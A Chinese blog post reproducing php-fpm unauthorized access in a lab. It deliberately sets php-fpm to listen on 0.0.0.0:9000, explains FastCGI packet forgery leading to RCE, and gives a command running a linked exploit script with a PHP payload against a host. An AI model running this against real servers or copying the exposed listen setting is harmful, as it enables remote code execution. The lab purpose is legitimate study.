php-fpm 未授权访问复现
时间:2022-06-26
本文章向大家介绍php-fpm 未授权访问复现,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
自己的知识面很窄,感觉原来的学习总是迈不开步子,以至于,自己对linux的很多服务器的配置都很不明确,所以还是得好好学习,折腾环境也是很重要的,来手动的配置一下php-fpm未授权访问的环境。
环境搭建
使用linux搭建nginx和php fpm的环境
先是安装
$ sudo apt-get install nginx
$ sudo apt-get install mysql
$ sudo apt-get install php7.0 php7.0-fpm php7.0-mysql
然后是配置在如下路径的文件中
/etc/nginx/sites-available/default
配置url重写和入口文件
location / {
if (-f $request_filename/index.html){
rewrite (.*) $1/index.html break;
}
if (-f $request_filename/index.php){
rewrite (.*) $1/index.php;
}
if (!-f $request_filename){
rewrite (.*) /index.php;
}
root /var/www/html;
index index.php;
}
配置代理端口
location ~ .php$ {
root /var/www/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
配置链接方式
在如下路径的文件
/etc/php/7.0/fpm/pool.d/www.conf
listen = 0.0.0.0:9000#为了实现漏洞 未授权访问因此的来
或者直接用docker-compose
使用已经搭建好的了环境
version: '2'
services:
php:
image: php:fpm
ports:
- "9000:9000"
保存为docker-compose.yml
docker-compose up -d
漏洞分析
nginx通过fastcgi协议与php-fpm通信。那么理论上,我们可以伪造fastcgi协议包,欺骗php-fpm进程,从而执行任意代码
如果主机的管理员不小心将
listen = 127.0.0.1:9000
配置成了
listen = 0.0.0.0:9000
那就说明任何人都能访问9000 端口
简而言之,恶意的用户伪造了fastcgi发包,构造环境变量执行我们传入的代码,就可以实现rce。
漏洞复现
环境好搭建,p牛的原理写的比较详细,这里利用p牛的脚本简单复现一下:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
python fpm.py 192.168.44.141 /var/www/html/1.php -c "<?php echo `id`; exit;?>"
参考
http://configurebox.xyz/post/10.html
https://evoa.me/index.php/archives/52/
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
- 【黑客浅析】像黑客一样思考
- 【腾讯云的1001种玩法】 十分钟轻松搞定云架构 · 负载均衡的几种均衡模式
- ASP.NET Web API的Controller是如何被创建的?
- 【腾讯云的1001种玩法】十分钟轻松搞定云架构:COS的两种上传模式
- 物流行业迎变革,云计算是基础,大数据是关键
- Socket学习总结系列(二) -- CocoaAsyncSocket
- 比特币勒索病毒肆虐,腾讯云安全专家给你支招
- HTML5 直播协议之 WebSocket 和 MSE
- IoC在ASP.NET Web API中的应用
- 跟鹅厂老司机学技术之一:“遇见” Kotlin
- 简单的 H5 视频推流解决方案
- 来腾讯云开发者实验室学习.NET
- 跨域资源共享(CORS)在ASP.NET Web API中是如何实现的?
- 使用腾讯云 GPU 学习深度学习系列之六:物体的识别与定位
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- Sentence-BERT详解
- 分布式文件系统(HDFS和FastDFS)
- Springboot集成JUnit5优雅进行单元测试
- 音视频相关开发库和资料
- SpringSecurity认证专题之【AuthenticationManager】
- dotnet 让 C# 可以通过动态生成 HLSL 使用 DX12 的 GPU 并行计算库 ComputeSharp 的简介
- 比对软件STAR创建索引文件(index)
- linux|无需解压查看压缩文件内容
- R函数不会写,"抄"总会吧!
- @Resource和@Autowire的区别
- R函数,如何“抄”出水平
- 【STM32H7】第1章 当前主流的小型嵌入式GUI
- 链表反转的两种实现方法,后一种击败了100%的用户!
- envoy filter 开发实践系列 1:官网 echo 示例编译测试
- [Jmeter]---JsonPath表达式提取响应&断言